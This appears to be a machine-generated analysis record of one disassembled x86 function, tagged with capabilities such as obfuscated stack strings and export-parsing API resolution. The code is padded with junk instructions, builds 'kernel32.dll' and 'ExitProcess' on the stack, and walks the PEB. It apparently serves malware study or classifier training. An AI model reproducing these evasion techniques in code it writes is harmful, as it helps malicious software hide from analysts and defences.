Function at 0x422905
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop esi
mov byte [ebp - 0x658], 0x51
mov byte [ebp - 0x657], 0xb9
mov byte [ebp - 0x656], 0x20
mov byte [ebp - 0x655], 0x20
mov byte [ebp - 0x654], 0x20
mov byte [ebp - 0x653], 0x20
mov byte [ebp - 0x652], 0x59
push ebx
push eax
add esp, 4
xor ebx, 0x1849d
xor ebx, 0x16bed
add ebx, 0xd1e5
and ebx, 0xff77
pop ebx
push esi
or esi, 0x1329c
and esi, 0x1890
xor esi, 0x2498
pop esi
push eax
call 0x42217d
add byte [edi + ecx*2 + 0x4a], al
dec edx
inc ecx
dec ebx
cmp dword [ebx + 0x3eb04c4], eax
inc edi
inc edi
dec ecx
pop eax
push ebx
push eax
add esp, 4
add ebx, 0x15e91
call 0x42219d
add byte [edx + 0x41], al
inc ebx
inc ecx
inc eax
xor eax, 0x5b04c483
mov dword [ebp - 0x1224], 0xe
push edi
jmp 0x4221b2
or edi, 0x1115d
sub edi, 0x10cba
pop edi
push ebx
push ebx
add esp, 4
xor ebx, 0x67af
or ebx, 0x7c29
and ebx, 0x10d7d
xor ebx, 0xa742
pop ebx
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0x650]
mov dword [ebp - 0xb3c], ecx
push ebx
push eax
add esp, 4
sub ebx, 0x126d4
and ebx, 0xcaad
pop ebx
push eax
push ebx
add esp, 4
jmp 0x422211
and eax, 0x17933
xor eax, 0x262
and eax, 0xb414
pop eax
mov dword [ebp - 0x1228], 0xffffffff
push edi
jmp 0x422237
pop edi
push edx
call 0x422248
add byte [ebx + 0x37], cl
inc edi
dec ebx
aaa
xor al, 0x4c
xor eax, dword [ebx - 0x157efb3c]
in eax, dx
movsb byte es:[edi], byte [esi]
add byte [eax], al
add bl, ch
push es
or edx, 0x20ce
pop edx
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x264], edx
jmp 0x42227d
mov eax, dword [ebp - 0x264]
add eax, 1
mov dword [ebp - 0x264], eax
push edx
push edx
add esp, 4
xor edx, 0x4076
or edx, 0x81cc
and edx, 0xab7d
pop edx
push edi
call 0x4222a5
add byte [ecx + 0x38], cl
cmp al, byte [edi + 0x37]
dec edx
dec ebp
inc esp
add esp, 4
and edi, 0x12fb3
pop edi
mov ecx, dword [ebp - 0x264]
sub ecx, dword [ebp - 0x238]
cmp ecx, 0xffffffff
jb 0x4222f7
push ecx
push ecx
add esp, 4
xor ecx, 0x18221
pop ecx
push edi
push eax
add esp, 4
add edi, 0x11ae9
pop edi
push esi
sub esi, 0x1554a
and esi, 0xc12
add esi, 0xddeb
sub esi, 0x16e74
pop esi
jmp 0x4224f3
mov dword [ebp - 0x698], 7
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x648], edx
push eax
add eax, 0xb866
pop eax
push esi
push ecx
add esp, 4
add esi, 0x930
and esi, 0xfeb1
pop esi
push ebx
push esi
add esp, 4
add ebx, 0x1939
sub ebx, 0x1661
or ebx, 0x1137b
pop ebx
mov eax, dword [ebp - 0xb3c]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x69c], 0
mov ecx, dword [ebp - 0x264]
cmp ecx, dword [ebp - 0xb3c]
jne 0x422374
mov edx, dword [ebp - 0x69c]
mov dword [ebp - 0xb44], edx
jmp 0x4224a5
cmp dword [ebp - 0x698], 0
jle 0x422499
push esi
push eax
add esp, 4
add esi, 0x163a3
pop esi
push eax
xor eax, 0x532d
pop eax
push esi
push eax
add esp, 4
and esi, 0xbb66
sub esi, 0x5c07
add esi, 0x14952
and esi, 0x32d5
pop esi
mov eax, dword [ebp - 0x648]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x608]
movzx eax, byte [edx]
cmp ecx, eax
je 0x422435
push eax
xor eax, 0xcc9
and eax, 0x1667
jmp 0x4223df
and eax, 0xd5a6
pop eax
push edi
push ebx
add esp, 4
xor edi, 0x9983
jmp 0x4223fa
pop edi
mov ecx, dword [ebp - 0x648]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x608]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x42241d
mov dword [ebp - 0xb40], 1
jmp 0x422427
mov dword [ebp - 0xb40], 0xffffffff
mov edx, dword [ebp - 0xb40]
mov dword [ebp - 0x69c], edx
jmp 0x422499
push ebx
xor ebx, 0x4d6d
pop ebx
push ecx
or ecx, 0x3e9e
pop ecx
push ecx
push eax
add esp, 4
and ecx, 0x1366c
and ecx, 0x6a4e
call 0x422463
add byte [edi + eax*2 + 0x3d], cl
cmp al, 0x4c
cmp esi, dword [edi]
add esp, 4
pop ecx
mov eax, dword [ebp - 0x698]
sub eax, 1
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x648]
add ecx, 1
mov dword [ebp - 0x648], ecx
mov edx, dword [ebp - 0x608]
add edx, 1
mov dword [ebp - 0x608], edx
jmp 0x422374
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0xb44], eax
cmp dword [ebp - 0xb44], 0
jne 0x4224ee
push edx
push eax
add esp, 4
xor edx, 0x2a38
or edx, 0x5f8
pop edx
push edx
xor edx, 0x16f8a
call 0x4224d6
add byte [eax + 0x47], al
cmp byte [edi + eax*2 + 0x46], cl
dec esp
inc edi
inc esi
dec ebp
dec ebp
add esp, 4
add edx, 0x8187
pop edx
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x228], ecx
jmp 0x42252f
jmp 0x42226e
push edi
push edi
add esp, 4
add edi, 0x15166
sub edi, 0x13b45
call 0x422510
add byte [eax + 0x39], al
xor cl, byte [edi + 0x46]
cmp byte [ebx + 0x9e804c4], al
add byte [eax], al
add byte [eax], al
xor eax, 0x48413e4e
dec esi
inc esp
inc ebx
add esp, 4
pop edi
mov dword [ebp - 0x228], 0
push ecx
push edi
add esp, 4
sub ecx, 0xd33f
xor ecx, 0x993
or ecx, 0x67c9
pop ecx
push edi
push edi
add esp, 4
and edi, 0x4ff6
and edi, 0x9203
pop edi
push ebx
jmp 0x422560
pop ebx
push ebx
push edi
add esp, 4
add ebx, 0x4c79
jmp 0x422573
xor ebx, 0xd468
pop ebx
push ecx
jmp 0x422580
add ecx, 0x8f79
or ecx, 0x7c43
or ecx, 0xdf33
pop ecx
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0x658]
mov dword [ebp - 0xb48], ecx
push ecx
xor ecx, 0x4951
pop ecx
push eax
push esi
add esp, 4
xor eax, 0x104d
or eax, 0xdbaa
xor eax, 0x10017
sub eax, 0xc451
pop eax
push ebx
push ecx
add esp, 4
sub ebx, 0xaa88
pop ebx
mov dword [ebp - 0x122c], 0xffffffff
push edi
jmp 0x4225ed
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0x37d9
sub ecx, 0x5ba0
call 0x42260c
add byte [eax], bh
dec ebx
dec edi
cmp eax, dword [ebx + 0x4d]
dec ebx
add esp, 4
or ecx, 0x1984
pop ecx
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x260], edx
jmp 0x422633
mov eax, dword [ebp - 0x260]
add eax, 1
mov dword [ebp - 0x260], eax
push edi
xor edi, 0x11a9d
and edi, 0x575d
and edi, 0x13bd0
or edi, 0x13679
pop edi
push edx
push ecx
add esp, 4
xor edx, 0x13da
add edx, 0xcc6d
xor edx, 0x3c19
pop edx
mov ecx, dword [ebp - 0x260]
sub ecx, dword [ebp - 0x238]
cmp ecx, 0xffffffff
jb 0x4226ad
push eax
push ebx
add esp, 4
jmp 0x422680
pop eax
push ebx
push edi
add esp, 4
or ebx, 0x3abe
pop ebx
push ebx
call 0x42269e
add byte [ebp + 0x45], al
aaa
xor al, 0x35
xor eax, 0x453c4036
add esp, 4
and ebx, 0x92c0
pop ebx
jmp 0x4228a9
mov dword [ebp - 0x6a0], 7
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x60c], edx
push ecx
and ecx, 0xc11c
add ecx, 0x3a99
pop ecx
push eax
push ebx
add esp, 4
sub eax, 0x126e4
or eax, 0x1823
pop eax
push ebx
push ebx
add esp, 4
and ebx, 0xcfe1
add ebx, 0x19a7
pop ebx
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x6a4], 0
mov ecx, dword [ebp - 0x260]
cmp ecx, dword [ebp - 0xb48]
jne 0x42272a
mov edx, dword [ebp - 0x6a4]
mov dword [ebp - 0xb50], edx
jmp 0x42285b
cmp dword [ebp - 0x6a0], 0
jle 0x42284f
push edx
push ebx
add esp, 4
or edx, 0x107b5
sub edx, 0x111ab
and edx, 0x14288
pop edx
push edi
jmp 0x422758
jmp 0x422760
pop edi
push edi
or edi, 0x17a4d
pop edi
mov eax, dword [ebp - 0x60c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x610]
movzx eax, byte [edx]
cmp ecx, eax
je 0x4227eb
push ebx
call 0x42278c
add byte [eax + 0x43], cl
cmp al, 0x39
cmp dword [eax], edi
add esp, 4
sub ebx, 0x2b34
jmp 0x42279c
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0xfe91
pop ebx
push esi
xor esi, 0x6667
pop esi
mov ecx, dword [ebp - 0x60c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x610]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x4227d3
mov dword [ebp - 0xb4c], 1
jmp 0x4227dd
mov dword [ebp - 0xb4c], 0xffffffff
mov edx, dword [ebp - 0xb4c]
mov dword [ebp - 0x6a4], edx
jmp 0x42284f
push ebx
add ebx, 0x8ba3
pop ebx
push eax
push esi
add esp, 4
and eax, 0x3ab8
pop eax
push esi
push edx
add esp, 4
or esi, 0x41b9
add esi, 0x11b9e
sub esi, 0xa1f6
sub esi, 0xd4c1
pop esi
mov eax, dword [ebp - 0x6a0]
sub eax, 1
mov dword [ebp - 0x6a0], eax
mov ecx, dword [ebp - 0x60c]
add ecx, 1
mov dword [ebp - 0x60c], ecx
mov edx, dword [ebp - 0x610]
add edx, 1
mov dword [ebp - 0x610], edx
jmp 0x42272a
mov eax, dword [ebp - 0x6a4]
mov dword [ebp - 0xb50], eax
cmp dword [ebp - 0xb50], 0
jne 0x4228a4
push edx
or edx, 0x16cb7
pop edx
push edi
push esi
add esp, 4
sub edi, 0x12278
xor edi, 0x80ce
call 0x42288c
add byte [esi + 0x4c], al
inc esi
inc eax
dec esi
dec edx
cmp byte [0x4c48333], bh
add edi, 0x1472
pop edi
mov ecx, dword [ebp - 0x260]
mov dword [ebp - 0x614], ecx
jmp 0x4228e5
jmp 0x422624
push ebx
or ebx, 0x16b27
and ebx, 0x50ea
pop ebx
push ecx
push eax
add esp, 4
xor ecx, 0x75d4
add ecx, 0x1494f
sub ecx, 0x14a64
pop ecx
push eax
push edx
add esp, 4
or eax, 0x6e29
pop eax
mov dword [ebp - 0x614], 0
push ecx
push ecx
add esp, 4
xor ecx, 0xdaf1
or ecx, 0xa020
call 0x422905
add byte [ecx + 0x50], cl
aas
inc ecx
dec esp
dec eax
inc ecx
cmp cl, byte [edx - 0x7d]
les eax, [ecx + eax*4]
int1
pop ss
popal
add dword [eax], eax
pop ecx
push edx
sub edx, 0xd2ef
pop edx
mov byte [ebp - 0x494], 0x45
mov byte [ebp - 0x493], 0x78
mov byte [ebp - 0x492], 0x69
mov byte [ebp - 0x491], 0x74
mov byte [ebp - 0x490], 0x50
mov byte [ebp - 0x48f], 0x72
mov byte [ebp - 0x48e], 0x6f
mov byte [ebp - 0x48d], 0x63
mov byte [ebp - 0x48c], 0x65
mov byte [ebp - 0x48b], 0x73
mov byte [ebp - 0x48a], 0x73
mov byte [ebp - 0x489], 0
push ebx
or ebx, 0x17f43
pop ebx
push ebx
or ebx, 0x1749
or ebx, 0x15f5e
and ebx, 0x10e13
pop ebx
push edx
add edx, 0x11c9
xor edx, 0x15020
pop edx
push edi
add edi, 0x8205
pop edi
mov edx, 0x6b
mov word [ebp - 0xc50], dx
mov eax, 0x65
mov word [ebp - 0xc4e], ax
mov ecx, 0x72
mov word [ebp - 0xc4c], cx
mov edx, 0x6e
mov word [ebp - 0xc4a], dx
mov eax, 0x65
mov word [ebp - 0xc48], ax
mov ecx, 0x6c
mov word [ebp - 0xc46], cx
mov edx, 0x33
mov word [ebp - 0xc44], dx
mov eax, 0x32
mov word [ebp - 0xc42], ax
mov ecx, 0x2e
mov word [ebp - 0xc40], cx
mov edx, 0x64
mov word [ebp - 0xc3e], dx
mov eax, 0x6c
mov word [ebp - 0xc3c], ax
mov ecx, 0x6c
mov word [ebp - 0xc3a], cx
xor edx, edx
mov word [ebp - 0xc38], dx
push esi
push edi
add esp, 4
add esi, 0xd3ff
and esi, 0xa2a
add esi, 0xc453
add esi, 0x17471
pop esi
push eax
sub eax, 0x72c2
sub eax, 0xb715
add eax, 0x7e9
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0xe28], eax
mov ecx, dword [ebp - 0xe28]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xe2c], edx
mov eax, dword [ebp - 0xe2c]
mov dword [ebp - 0xb54], eax
push ebx